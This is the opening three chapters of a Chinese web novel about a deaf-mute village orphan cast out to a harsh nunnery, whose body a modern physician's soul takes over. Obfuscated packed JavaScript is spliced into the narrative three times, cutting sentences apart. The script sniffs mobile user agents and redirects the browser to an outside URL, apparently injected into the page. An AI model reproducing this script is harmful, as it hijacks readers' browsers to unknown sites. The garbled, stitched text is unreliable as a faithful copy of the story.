《杏林天香》 1. 第一章 许氏孤女 吴越境内，天目余脉，有一座南山，山脚下有个村落名落溪村，居住着几十户人家，以种植茶叶、打猎为生，有时也挖些毛笋、采些药材补贴家用。 落溪村村西头有一户许姓人家，家中夫妻二人。汉子叫许大郎，年近不惑，妻柳氏，三十七八岁年纪。夫妻二人是十几年前来此地落户的，以打猎采药为生，偶尔也替邻里瞧个头痛脑热的病。夫妻俩相依为命，柳氏一直不曾生育，二人愁得头发都白了一半，四处求神拜佛，寻医问药，用了不知多少汤药偏方，拜了多少神佛菩萨，却无甚效果。 一日，许大郎去镇上贩卖药材，听路人说镇上来了一位神算，能卜吉凶，断生死，通阴阳。许大郎心想：自己虽说精于岐黄之术，几十年来也瞧过不少疑难杂症，却始终也无法让妻子有孕，难道此生注定我许某人无子嗣？人都说医不自医，罢了罢了，既是有如此神算，何不让他起上一卦，算一算自己是否命里无子嗣？若是真无，那我也就死心了。想着，便将手中药材速速卖完，寻了神算，将自己来意诉说一番。 神算屈指掐算一番，道：“且家去吧，来日阿嫂便可有身孕。” 许大郎听了神算的话半信半疑，迟疑着把了几钱银子与神算，径直家去，当笑话说与柳氏听。柳氏听了，却暗暗心酸，也没将此事当回事。 过得几日，柳氏浑身懒怠，食欲全无，时伴有恶心呕吐。许大郎见状，忙上前捉了柳氏的手腕号脉，足足半晌，抚须且喜且惊，似是不大相信，忙又请了一位郎中家来瞧。郎中把了柳氏的脉，良久，方笑道：“恭喜恭喜，老嫂子这是喜脉。” 许大郎提着的一颗心瞬间便放了下来，与柳氏相对惊喜万分，遂多把了些银钱与郎中，喜笑颜开将郎中送走。 至此，许大郎精心照顾柳氏，万万不敢粗心大意。冬去春来，来年三月，果然生得一女。二人喜得贵女，逢人便夸，只道是上天垂怜，总算不负多年求神拜佛的诚心。 欢喜开心之际，夫妻俩商量给小女起个大名。商量来商量去，夫妻俩都拿不定主意。后来还是柳氏道：她记得小时候去外祖家，路过一处庄子，见那庄子里有户人家的园子里种了不少杏树。那年正是杏子成熟的季节，满树娇黄的杏子又大又圆，老远就闻到香甜的味儿，那味道一直留在柳氏的记忆中，如今还能想起那味道来——不如就起名叫娇杏吧！ 许大郎听了也十分赞同。 娇杏满月，夫妻俩请邻里乡亲吃满月酒。乡亲便让抱出娇杏儿瞧瞧，柳氏穿戴齐整，用小碎花被子抱出娇杏，大家齐上前观看。只见襁褓中躺着一个眼珠黑漆漆的小人儿，小身板也白胖白胖的，养得十分好看。大家纷纷夸赞，都道许大郎夫妻有福气，柳氏老蚌怀珠，娇杏往后必有大造化。 时光荏苒，匆匆两年多过去，娇杏两岁多，都会满地跑了。有一天，邻居张婶子来串门，看见娇杏坐在树下的矮凳上看柳氏剥豆子，很是乖巧，便笑道：“她婶子，还是小细娘省事，不哭不闹的。我家二郎才九个月，可淘气啦！成天价地闹腾，会喊阿爹、阿娘。你家娇杏也差不多两岁半了，可会说许多话了吧？” 柳氏听了一愣，心想：是呢，我家娇杏怎还不能开口？自己每日都抱着她让喊娘亲，可娇杏只是瞪着一双大眼睛看着她，就是不喊人。自打娇杏一岁，自己和她阿爹每日都围着娇杏让她喊人，可她就是不开口。自己还想着是不是这孩子说话晚，可现在都两岁半了，村里的孩子像她这么大的都会说话了，就是老夏家的春生小郎，虽说比娇杏还大一个月，可也会叫人了。莫不是娇杏有什么问题？可平时自己也和当家的观察，觉得这孩子没什么问题啊！ “许是孩子还小。”柳氏温柔地看了娇杏一眼，摸了摸娇杏的头：“这不才两岁多点？万家沟杨发财家前儿出嫁的秀竹，不是也三岁才开口说话。”柳氏对张婶子道。 张婶子哼哼笑道：“也是，这都是孩子的造化，释迦佛爷管着呢！他老人家要是不让你开口，你就是想说话也是不成的。” 到底会不会说话？管释迦佛爷什么事！ 柳氏听了张婶子的话心里十分不喜，便没有接她的茬。可她对佛祖其实很虔诚的，虽然心里有那么一句，却连忙暗中呸了自己一声。佛爷勿怪，是信女失礼了，过几日就去给您老人家添些香油钱。 张婶子见柳氏低头剥豆，也不搭腔，便觉没趣，坐坐也就走了。 如此又过了一年，娇杏已经三岁多了，却依然不言不语，不哭不笑，急得许大郎两口子起了一嘴燎泡。许大郎暗中请了无数郎中来瞧，都道瞧不出什么病，无能为力。后儿遇到一个游方郎中瞧了，斟酌良久才遗憾道：“怕是不会说话的聋哑儿，病乃胎里自带，请恕老儿无能为力。”说着摇头叹息而去。 两口子听了顿时震惊万分，老泪横流。柳氏更是心疼交加，抱着娇杏儿大哭，许大郎也是唉声叹气。两口子一夜愁白了头。 自此，两人心疼之余，对娇杏儿更加爱惜。 邻里乡亲知道了此事，暗暗叹息，都道许大郎两口子命苦，一直求子，终于求到了，却是个聋哑儿，就是长大了也没有谁家敢要，这婆家是指定难找。 许大郎两口子伤心许久，虽然觉得有些遗憾，可日子还是要过，更何况娇杏虽然不会说话，却十分乖巧。想着娇杏再大些，就带着娇杏多找些郎中瞧，或许娇杏有造化，说不定就能给治好了。 娇杏七岁那年，许大郎进山打猎不慎遇到了黑瞎子。等村民找到的时候，许大郎已经不行了，抬回家没多久就没了。柳氏伤心之下一病不起，蹉跎了半年多，也跟着去了，留下年仅七岁的娇杏。 随着日子一日日往后推，邻居看娇杏的眼神从开始的怜惜到漠视，再到看见娇杏就躲。不知从何时起，村里传出一股流言，说娇杏是恶鬼转世，生来命硬。这不，前头克死了爹，后头又克死了娘，往后啊，那可不好说了！不定克死离她最近的人呢！嫁人就别想了，就她那样儿，谁家会要个聋哑儿？ 好事不出门，坏事传千里。一传十，十传百，十里八村的都知道落溪村有一恶鬼转世的哑巴女，克死了父母。村里的孩子只要见到娇杏，不是追打，就是谩骂。娇杏一个不会说话的孤女，吓得不敢出门，整夜躲在房间不得入眠。 村里人都说她是恶鬼转世，嚷嚷着赶走她。村里大多数都是张姓人，耆老也是张家的。耆老与村里有头脸的人经过商议，便分割了娇杏家的几亩田地与池塘，还有山上的几亩毛竹。就连娇杏家的房子，也被耆老分给了他的一个亲戚。娇杏被赶出了村，无家可归。 柳氏活着的时候，跟村东头的李婆子算是有几分交情。许大郎曾救过李婆子丈夫的命，因着这层关系，柳氏又有临终托付之言，李婆子便将娇杏带回家住。谁想被李婆子大儿媳妇知道了，闹到二郎家来，哭天抢地、撒泼谩骂，搅得全村人都知道。全村人都指责李婆子不顾大家安危，将一个祸害留在村里。要是再不赶出村，就在全村人面前被沉塘！ 李婆子一个妇人，虽说为了报恩，可触犯了众怒，她也没办法。被逼无奈，李婆子答应将娇杏带出村。只要不出现在落溪村，村民也就随她了。 李婆子带着娇杏，背着一个包袱，手牵着她往后山水月庵而去。顺着这条路走上差不多一个时辰，就到水月庵了，这也是李婆子深思熟虑后的决定。 李婆子家境贫寒，育有两子一女，老伴儿早就过世了，儿子也都已娶妻生子，女儿早已嫁了人，嫁在邻村。老伴儿临死前将家分了。原本李婆子是跟大儿子一起过，可架不住大儿子娶了个悍妇，每日里不是指桑就是骂槐。又赶上二儿媳病没了，留下两个孙儿无人照看，二儿子成天在外游手好闲、不务正业，好好一个家，被他折腾得一穷二白。眼看着二儿子不成器，两个孙子连顿饭也吃不饱，李婆子只好去了二儿子家，帮着二儿子家做点事，照看孙子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222012|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今日能带着娇杏来庵里投靠，李婆子前思后想，深思熟虑：想着娇杏命硬，又是聋哑儿，这方圆几十里的人家都知道这事，谁还敢收养她？躲还来不及呢！但神佛就不一样。在李婆子潜意识中，其实她也是有些怕娇杏的，怕沾上她，自家会不会被克？她自己倒不要紧，就怕克着大郎、二郎他们，那就得不偿失了。虽然李婆子想报恩，但也是在不伤害到自己的前提下。 水月庵庵主是一位年近三十的尼姑，人称水仙姑，长得颇有几分姿色。她见李婆子带来的是一哑女，便有些不喜，上下打量了一番，觉得娇杏虽然不会说话，但却长得还算周正。便打发人带娇杏跟着几个还没有剃度的小尼姑住在一起，又命她每日里早起打扫院子、房间，并帮着庵里的尼姑挑水洗衣做饭。 时年正好冬月，山里天气尤为寒冷，娇杏才七岁，哪里吃得这样的苦？每日天不亮就起床，不是挑水就是洗衣，打扫庭院。才一个来月便累病了。庵主越加不喜娇杏，嫌弃她不能做活还让庵里养着，便使人将娇杏挪到了庵堂后面荒废的茅屋。 没想到就在娇杏病倒的第二夜，也不知是小尼姑没有照看好观音殿的香烛还是怎么的，引燃了桌布，观音殿走了水，被烧去了半边。虽没伤着人，但也折腾了大家一晚上。 水仙姑气得七窍生烟，将一众尼姑召集起来斥骂半日。其中一个长着一双三角眼、嘴角边有一颗黑痣、相貌极其刻薄的叫静非的尼姑，她一直站在水仙姑身后，这时却上前一步，在水仙姑耳边一阵嘀咕。水仙姑听后使劲拍了一下桌子，恶狠狠地骂了一句：“这个祸害！” 然后吩咐静非去茅屋将娇杏拎过来，让她跪在烧得只剩一半的观音殿前忏悔。娇杏烧得迷迷糊糊的，被人按倒在烧得焦黑的地上，整整跪了一夜。次日，等她被人架回茅屋的时候，已经只剩下半条命了。 谁想就这也不能让水仙姑解恨。她让人叫来泥瓦匠，将通往后山茅屋的门封死了，并对所有尼姑说：“恶鬼转世之人，走到哪里哪里就会有祸事。从今往后，不许那个祸害再踏入庵里半步！谁要是放进那个祸害，就在菩萨面前跪七七四十九日，三日不许进食！” 这是要让娇杏自生自灭的节奏啊！可怜娇杏就这样不但累病无人照顾，还被折磨得只有出气无进气了。 这日，李婆子在自家院子里喂鸡，就见二儿子家二郎和张婶子家大郎嘻嘻哈哈、推推搡搡冲进来。俩人在院子里一顿忙乎追赶，顿时鸡飞狗跳。李婆子气得呵斥了几声，赶着俩小子让出去闹腾。二郎嘻嘻哈哈躲着李婆子手中的笤帚，钻进厨房摸了半块李婆子刚刚烤好的笋，窜出了房门。 李婆子气得跳脚直骂：“那是给你阿爹留着下酒的，你个混小子！偷吃了仔细你阿爹家来打你！” 二郎鼓着个腮帮子嬉笑道：“我就吃了半块，还有好几块在灶台上呢！那些我阿爹尽够了。”说着扬了扬手中咬了一半的烤笋：“阿婆，我去大锤家了，大锤他阿爹打猎回来了，还说后山水月庵走了水。”说着拉着张家大郎出门跑了。 李婆子听了二郎的话愣住了，半晌方回过神，张口要喊二郎问个明白，一抬头不见二郎的影子，急得在院子里乱转。 心想：水月庵走了水？这娇杏才去不到俩月，不会是出了什么事情吧！想着许久不见娇杏，也不知道她如今过得怎么样。这水月庵走了水，会不会与她有关？自打上回送了娇杏去水月庵，过了一月，她又去了一回，发现娇杏比一月前瘦了，她这心里就一直揣着忐忑。那水月庵的庵主水仙姑瞧着不是个好相与的，可怜娇杏小小年纪便没了爹娘，村里又为着这事容不下她。自己为着报恩，才偷摸将人送到那里，别是出事了吧！若真是出了事，自己这岂不是害了她？ 不行，怎么也要去瞧瞧。 想着，抬头看看天色尚早，便进屋拾掇了一番，怀里揣了些干粮，匆忙出了村子，转道拐上后山的近路，一路往水月庵而来。 2. 第2章 开口说话 李婆子自从送娇杏来水月庵后，第二回来给她带了床被褥，知道娇杏和几个小尼姑住在后院。如今她走到水月庵前，却见庵门大开，门前有两个婆子正往里搬东西，水仙姑站在边上，一脸严肃地说着什么。李婆子心里一惊，急忙闪身躲到庵前一棵大树后，探出半个脑袋往前张望，见水仙姑说了几句话便转身进去了。 李婆子抹了抹额头的汗。不知为何，她一见水仙姑就觉得心慌，不敢与她直面。眼下见水仙姑进了庵，李婆子便寻思找个人打听打听，看看是怎么回事。 今日怎地门前聚了这许多人？娇杏又在哪儿？ 她正要从树后出来，就见庵里又走出一个小尼姑。李婆子定睛一看，心中顿时一喜，忙上前笑道：”静尘小师父。” 原来这叫静尘的尼姑，李婆子是认得的。她本是前任庵主的弟子，前任庵主与李婆子还沾着表亲。那尼姑见是上回送娇杏来的李婆子，先是一惊，四下张望一番，赶忙将李婆子拉到一旁，附耳低语了几句。 李婆子听得又惊又气。 这水仙姑真不是个东西！观音殿走了水，怎能怪到娇杏头上？ 谢过静尘，李婆子便依着她的指点，绕过水月庵，往后山那间小茅屋走去。山路僻静，平日里少有人行，幸得李婆子土生土长，对山上路径十分熟悉。 顺着小路七拐八弯来到茅屋前，只见篱笆门虚掩着。李婆子上前轻轻一推，门便开了，里头没上拴。 走进小院，李婆子环顾四周，只见荒草丛生，墙边的野草长得比人还高。她看着心里发酸：没娘的孩子，可怜呐！自己也不能常来看她，这回还是偷偷来的。若让村里人知道她这般行事，只怕也脱不了干系。唉，也只能看这孩子的造化了。 “当家的，娇杏她爹曾救过你的命，我这也算是报了恩。就是死了，也有脸去见你了……”李婆子心里默默念叨着，朝屋里喊了一声：“娇杏儿，阿婆来看你了！” 她明知娇杏听不见，心里却忍不住盼着：哪怕有朝一日，这孩子能应她一声，该多好。 李婆子走到屋前，见屋门半掩，便推门又唤道：“娇杏儿，阿婆来了。” 话音刚落，便见门缝里探出一张小脸，戴着顶灰色比丘尼帽，脸色紧绷，一双黑白分明的眼睛水汪汪的，怯生生地望着她，小嘴抿得紧紧的。 李婆子一见这张小脸，眼角皱纹不由得挤到一起，露出笑意：“乖囡，瞧阿婆今日给你带了什么好吃的：“有年糕，还有烤笋，快过来。”她一边招手，一边从怀中掏出一个荷叶包，展开来朝娇杏示意。 “快过来吃，这笋还热乎呢！阿婆晓得你喜欢。” 见娇杏仍扒着门框不动，李婆子轻轻叹了口气，心中凄然：老天爷也真是不公！ 她走过去，将娇杏拉到床边坐下，把荷叶包放在屋里唯一那张破竹凳上，抬手轻抚娇杏的头发：“乖囡啊，你是不是怨阿婆了？怨阿婆这么久没来看你？可阿婆也是不得已，唉……” 李婆子长长叹了口气，半晌没再说话，只是一下一下抚着娇杏的头。 “快吃吧。”她拿起竹凳上的烤笋递给娇杏。 娇杏迟疑片刻，才伸手接过。 李婆子欣慰地笑了笑，替娇杏扶正有些歪斜的帽子。见娇杏睁着一双大眼睛，一眨不眨地望着自己，李婆子柔声道：“你这小乖囡，眼睛生得跟你娘一模一样。你娘刚来村里时我还记得，穿着绸缎衣裳，那张脸就跟细白瓷似的，简直像从画儿里走出来的仙女。咱十里八村的小娘子，没一个及得上她。你爹也生得英武不凡，那时节，村里的小姑娘们不知多羡慕你娘，都说她好福气。可这福气不福气的，也得看人往后的造化。娇杏啊，你们老许家就剩你一条根了。你娘走得急，许多事来不及交代，只托我照看你。阿婆应下了，可阿婆却没做到你娘嘱托的那样——不是阿婆不愿，是阿婆身不由己。你爹娘都是好人啊，可好人不长命……” 说着说着，李婆子眼眶就红了。她把娇杏搂进怀里，轻拍着她的背，又忍不住自言自语：“娇杏又听不见我说话……你说你个老货，唠叨这些干啥？娇杏还小呢。上回送来的吃食也不知吃完没有。本想着庵里总能照顾一二，如今看来，怕是不成了。那水仙姑真不是个好的，既是伺候菩萨的人，原该有几分菩萨心肠，谁想竟这般歹毒。这可如何是好？不如……把她送去三娘家？不妥，三娘那婆婆心眼小，又爱动歪心思，送过去怕是还不如这儿，好歹有个容身之处。唉，难呐！” 李婆子自顾自琢磨了半晌，正拿不定主意，忽觉怀里那瘦小的身子轻轻挣了挣。她回过神来，忙松开娇杏，笑道：“乖囡，怎么还不吃？快吃吧，看这都凉了。天冷，阿婆怕凉着一路揣在怀里，连二郎都没让多吃……” “阿婆。” “哎。” 李婆子正催着，忽听一道细微稚嫩的声音从对面传来。 她下意识应了一声，随即猛地一愣，慌忙四下张望——刚才……是有人喊她？ 许娇娇见老婆婆伸着脖子往门口张望，神色惊疑，忙又小心翼翼地唤了一声：“阿婆。” 李婆子这回真真切切听清了，惊得从床边猛地站起，瞪大一双布满皱纹的眼睛，直直盯着许娇娇，嘴唇哆嗦着：“娇、娇杏儿？乖囡，你……你能喊阿婆了？你、你听得见了？” “嗯。”许娇娇舔了舔干涩的嘴唇，斟酌着开口，“阿婆，您别急，先坐下，听娇杏慢慢说。” 李婆子颤巍巍跌坐回床头，又是激动又是心酸，老泪止不住往下淌。她用袖子抹了抹眼泪，盯着眼前的小人儿，眼睛都不敢眨，生怕这是一场梦。 “娇杏儿，你、你掐阿婆一下，阿婆这不是在做梦吧？咱的乖囡真能开口说话了？” 许娇娇望着眼前老人，心底一阵悸动，眼眶蓦地发热。这两日担惊受怕、万念俱灰，强撑的那股劲儿，在这一刻倏然瓦解——原来这世上，终究还有人真心关切着她。 穿越这事，谁又想呢？谁放着好好的日子不过，偏来这荒山野岭遭罪？可事已至此，至少……她还活着。 许娇娇冰封的心，悄然裂开一丝暖意。她踮脚爬上床，挨着李婆子坐下，仰脸露出一个甜软的笑：“阿婆，娇杏前几日染了风寒，病得昏沉时做了个梦。梦里有一位白胡子老爷爷，他说我前世修行不足，今生投胎时只开了五窍。如今机缘巧合来到水月庵，沾了菩萨的灵光，剩下两窍便也通了。老爷爷还说，让我暂且住在这儿，待哪日修行圆满，他自会再来托梦告诉我。他还嘱咐……我能开口说话的事，眼下万不能叫旁人知道。” “竟有这等事！”李婆子闻言大吃一惊，再细看眼前的小娘子——原先那聋哑木讷的模样全然不见了，此刻说起话来条理分明，眼神清亮，小脸透着灵气，俨然有了孩童该有的鲜活气儿。 人常说圣人有七窍，一窍不通便是呆木，何况这孩子原先聋哑两窍闭塞，难怪总如木雕泥塑般。如此想来，娇杏所言不虚，定是神仙点化。 李婆子想通了这一节，暗自点头，长舒一口气，双手合十喃喃道：“真是神仙显灵，乖囡有造化，竟能逢凶化吉。你梦里那位老爷爷，怕是哪位仙家特来点化你的。这可是几世修来的福分！” 听了这话，许娇娇悬着的心才稍稍落下. 看来古人果真信鬼神之说，李婆子并未起疑。只是自己病愈之事，确不能张扬。落溪村那些人本就对她心存偏见，若知晓她忽然能言能听，还不知要生出什么事端。 前身残留的记忆碎片里，似乎家里原是有房有地的，只不知如今还在不在…… “阿婆，”她试探着问，“梦里老爷爷让我住这儿，那……村里我家的房子怎么办？” 李婆子一愣，神色微僵，抬手摸了摸她的头：“神仙既让你住这里，你便好生听神仙的话，莫淘气。自你爹娘过世，村里那几间房因无人居住，已分给别家了。如今那都是别人的屋子。你一个小囡囡，便是回了村，也守不住那些田产房屋。” “这样啊……”许娇娇听了，心头一阵憋闷——这也太欺负人了！可转念一想，自己眼下这般模样，真回了村，恐怕连性命都难保。幸得还有李婆子照应，她暗暗感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222013|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激，发誓往后定要报答这份恩情。 李婆子见天色渐晚，便起身告辞，又絮絮叮嘱了许多，才依依不舍地离去。 许娇娇一直将李婆子送到门外，目送她的身影隐入竹林深处，才转身进屋，轻轻闩上门。山里天黑得早。不远处溪水潺潺，伴着几声鸟鸣；偶有山风拂过竹林，沙沙作响。天气依旧寒冷，阴湿刺骨。 难怪原主没能熬过去，倒让她捡了这个身子。记忆中，水月庵的小尼姑静尘曾送了两件改小的旧尼袍，如今她身上穿的便是其中之一。若非有这麻絮袍蔽体，在这寒夜里，怕真要冻得穿回去了。 对许娇娇而言，生火做饭并非难事，难的是无米下炊。李婆子当初送娇杏来水月庵时，几乎什么也没带，只道庵主既是修行之人，总不至见死不救。可她料错了——并非所有诵经礼佛之人都怀慈悲心肠。那水仙姑虽收留了娇杏，却未存半分善念，只把这七八岁的孩子当作劳役，病了便丢到庵外任其自生自灭。这般铁石心肠，实非常理可度。 后来李婆子偷偷来过一次，带了吃食与麻絮被褥，又帮着收拾了屋子，连旁边那间石头垒的小厨房也拾掇了一番，还手把手教娇杏生火做饭。 这小厨房紧挨着主屋，里头竟有锅灶。灶台上搁着一只破瓦罐、两只豁口的粗碗，想来从前曾有猎人或是农户在此落脚。幸得这些旧物，否则许娇娇真要喝西北风了。 这两日，她也勉强做了两顿饭。光是点火便费尽周折——打火石擦了大半个时辰，几乎要效仿古人钻木取火。就在她几乎放弃时，火星终于燃起。第一顿是野菜汤，第二顿热了剩汤，里头好歹撒了把糙米，也算是一碗薄粥。那糙米还是上回李婆子带来的，约莫还剩四五斤。 好在今晚有李婆子新送来的一个烤笋、三块硬邦邦的年糕。年糕省着吃，还能对付三两日。 唉，真是艰难。这小小身板能做什么呢？孤零零一个人，无亲无友，连只猫狗相伴也无。在这寂静深山里，长久无人说话，怕是人也要痴了。若这般过下去，几年后的自己，会不会也变得如原主那般沉默如木？ 徐娇娇站在院中，双手叉腰，仰天长长吐出一口气。 革命方才开始，同志尚需努力。许娇娇，振作些，最绝望的日子已经过去了，这两日还没接受现实么？ 夜晚躺在四面透风的茅屋里，许娇娇裹紧被子，又冷又怕。黑暗有时也是一种庇护——至少在被褥包裹的这一刻，她感到一丝微弱的安全。溪流声在夜色中格外清晰，其间夹杂一两声不知是野兽还是山鸟的啼鸣。 许娇娇在暗夜的包围中不自觉流出了眼泪，将有些干硬的枕头都哭湿了。 可穿越这种事玄之又玄，不是人力能参透的。她轻叹，罢了，明日事明日再想罢，今夜先睡个好觉。这里实在太孤清了，还是养条狗吧，好歹有个活物作伴。在迷迷糊糊间她睡去。次日清晨，许娇娇去不远处的溪边掬水洗了脸，回到石灶厨房，踩在两块垒起的石头上，煮了来这里后最像样的一顿早饭——野菜汤就年糕。 吃饱喝足，她摸着微微鼓起的小肚子，在院里转悠。原主这身子底子不差，刚穿来时还头晕体虚，这几日未用药，风寒竟也好了大半。只要不是弱不禁风，能自力更生便是最好。 她在西墙角找到一把生锈的镰刀和一只竹编篮子。昨夜思忖半宿，眼下最要紧的便是填饱肚子。余粮所剩无几，总不能日日指望李婆子接济。看李婆子言行衣着，也非宽裕人家。授人以鱼不如授人以渔，终究得靠自己。 从此，她便是娇杏了。既然占了这可怜女孩的身子，便替她好好活下去罢。 出了篱笆门，娇杏挎着篮子、提着镰刀往山里去。前世她是一名中医师，她出身中医世家——祖父是研究院教授，父亲任中医院院长，母亲亦是主治医师。自幼耳濡目染，认药草、背《汤头歌》、读《黄帝内经》便是她童年的全部。同龄女孩学琴跳舞时，她在读医书；旁人恋爱成家时，她还在读医书。好容易事业有成，一场山体滑坡，却将她送到这里。 这大约便是她前世恢弘人生的终章。 3. 第3章 静尘师姐 山路不熟，她不敢深入，只沿着一条踩出的小径缓行，边走边留意两旁植被。道旁毛竹挺拔青翠，溪水声自不远处隐隐传来。虽是冬季，草木多枯，竹林却依旧茂盛。她以镰刀轻掘，便能辨出根茎是否可作药材。这般边走边采，沿溪而上，不过一个半时辰，篮中竟已有了五六种药草。 看着将满的篮子，娇杏抹了抹额间薄汗，直起身子。从林隙透下的日光判断，已近正午。她放下镰刀，在溪边洗净手上泥土。溪水清冽，映出一张戴灰尼帽的小脸——淡眉秀目，鼻梁小巧，唇色浅粉，肤色白皙。她蹙眉，水中影亦蹙眉；她伸手搅乱水面，倒影霎时破碎。 这张脸与自己前世相差甚远，或许因年岁尚幼，总透着一股怯生生的不安。 娇杏轻叹一声，起身在衣上擦了擦手，提篮沿原路返回茅屋。 将草药与野菜分开摊在干净地面上——野菜午间煮粥，药材洗净晾晒。她虽懂得炮制之法，如今却无力施行：年纪小，气力弱，工具药材俱缺，只得从简。 她对这世界一无所知：不知何朝何代，不明身在何方，亦不晓此间的医术发展到何境地。 日头正盛时，她热了早上剩下的野菜粥，只放了一丁点盐。缺油少盐，饭食寡淡，人也没力气。这时代盐价似乎不菲，上回李婆子用纸包捎来一小撮，颗粒粗大，仅婴儿拳头大小。 正午阳光暖融融地照着，娇杏坐在院中石墩上，托腮望天，怔怔出神。 篱笆门“吱呀”一声轻响。 娇杏抬头望去，见一袭灰袍的尼姑跨进门来——正是静尘。她年约十二三岁，眼形细长，面色略显苍白。 娇杏忙起身相迎。 “小施主可安好？”静尘露出恬静笑意，抬手比划着，“贫尼这几日下山化缘，未得空来看你。身子可大好了？”说着将手中一个粗布包袱搁在一旁，低头端详娇杏。 娇杏任她端详片刻，佯作怯生生地轻唤：“静尘姐姐。” 静尘倏然瞪大双眼，话音微颤：“你——你会说话？不，小施主不是……” 娇杏知她惊诧，轻轻摇头，又点点头。 “从前不能，后来做了个梦……”将那套“白胡子老爷爷”的说辞又述了一遍。 静尘怔了怔，旋即了然颔首：“原是如此。阿弥陀佛，小施主果真有造化。”她顿了顿，低声道，“只是小施主年纪虽幼，容貌本已出众，若让水仙姑知你病愈如常，只怕要生事端。” “小施主来。”静尘牵起娇杏的手，引她在石墩坐下，“你会说话之事，暂且莫让旁人知晓，尤其是庵中他人，可记住了？” “为何呢？”娇杏故作懵懂。 “是为小施主好。”静尘怜惜地抚了抚她的发顶，“你尚年幼，往后自会明白。”转而温声问，“这些日子过得可还妥当？” “我好多了，多谢静尘姐姐牵挂。” 静尘微微一笑，指向那包袱：“这是我化缘得来的些须吃食，你收着慢慢用。天寒，能放些时日。” 娇杏望向那鼓囊囊的包袱：“里头是什么？” “不过是几个炊饼、包子，还有一小袋稻米。” 静尘拉过娇杏的手握在掌心，又轻触她衣袖：“手这样凉，可还冷？我那儿有件旧袍，稍显宽大，明日改小了给你送来。过几日下山，再替你化些布料，做两身换洗衣裳——你非出家之人，总穿尼袍不妥。” 娇杏任她握着手，心中滋味复杂。自己一个年近三十的魂灵，被这半大少女如幼妹般关怀，又是别扭，又是暖意暗生。抬头望见静尘平和的面容，只觉那眉眼格外温柔可亲，眼眶竟有些发热。她忙低下头，细细应着静尘的叮嘱。 “……你还小，若是……若有机会，还是远远离开此地为好。”静尘欲言又止。 “静尘姐姐放心，”娇杏仰脸，睁着明澈双眸，“我不会扰庵主清静，也不必倚靠庵里。我能上山采野菜野果，不会饿着自己。” 静尘静默良久，终是轻叹一声：“……此处，终究非久留之地啊！” 小施主毕竟年幼，那些腌臜事，不提也罢。待她再大些，便替她寻个良善人家安顿。一切，且看造化吧。我佛慈悲，阿弥陀佛。 娇杏暗想：七岁身躯装着三十岁的灵魂，学孩童说话倒不算难事。静尘临行那番话，她一时未解深意，却也未多思量。 本就不打算在此久居，待药材攒足，便寻机进城看看吧！或许另有出路。 静尘离去后，娇杏急急解开包袱，里头除一小袋糙米，还有十来个拳头大小的包子馒头。虽已凉透，仍松软可口。她拿起一个咬下，是白菜馅的，清香素净。一连吃了两个，才想起静尘是尼姑，化缘所得自是素食。 有这样一个姐姐，真好。日后若得机缘，定不能忘了这些曾予她温暖之人。 接下来的日子，许娇娇除了每日上山采药、挖野菜，还趁着空闲，用镰刀将院中杂草一一砍去。幸得此处早先有人居住，留下几样农具，这几日天气晴好，未遇雨水，倒也方便。她年纪小，力气弱，每日忙得汗流浃背，夜里烧水略作擦洗，倒头便睡，连梦也不做一个，一觉直睡到天明。 接连忙了一个来月，院子总算有了几分模样。 这一日，静尘又来了，带来些粗布、一件旧袍并鞋袜，还有两身崭新的粗蓝花布麻絮袄，另有些许吃食与一包盐。许娇娇早已习惯与她亲近——左右这身子还是孩童，便再装一回嫩罢。 她欢喜地蹭在静尘臂边，像只依人的小猫。静尘心下一片柔软，含笑道：“小施主，且试试这棉袍可合身。上回带的吃食可都用完了？今回我又捎了些来。” “静尘姐姐真好。”许娇娇仰脸望着她，满目敬慕，“我昨儿才吃完，今儿姐姐就来了。莫非姐姐会掐算？好生厉害。还有，姐姐别唤我小施主了，往后我便认你做姐姐，嫡亲嫡亲的姐姐——你叫我娇杏罢！” “这如何使得！”静尘连忙摆手，“不可不可。贫尼乃出家之人，四大皆空、六根清净，小施主切莫妄言。” “这样啊……”许娇娇见她非但不应，反倒着急，心头一阵失望。原来出家人是不能有亲朋的么？ “静尘姐姐，”她轻声问，“那你还有家人么？他们为何让你出家？” “贫尼……不知。” 静尘听她问起家人，怔了怔，神色有些茫然。自己应当是有家人的罢？是人，总该有家人的。可他们又在何处？似乎自记事起，她便一直在庵中生活。出家人讲求四大皆空，每日除随师父打坐、诵经，便是下山化缘，倒真不曾思量过家人之事。 不过，有无家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“菰城？大越？”许娇娇搜肠刮肚，也想不起“大越”是何朝何代，“那……皇帝是谁呢？” “小施主慎言！”静尘神色一肃，“天子的名讳，岂是我等可直呼的？不过……”她压低声音，“贫尼悄悄告知你：我大越国姓乃姬。” 言罢，她起身道：“你年岁尚小，知道这些也无甚用处。只是小施主切记——你开窍之事，万不可让庵中他人知晓，以免招惹祸端。贫尼告辞，小施主多多保重。”说完，她便转身离去。 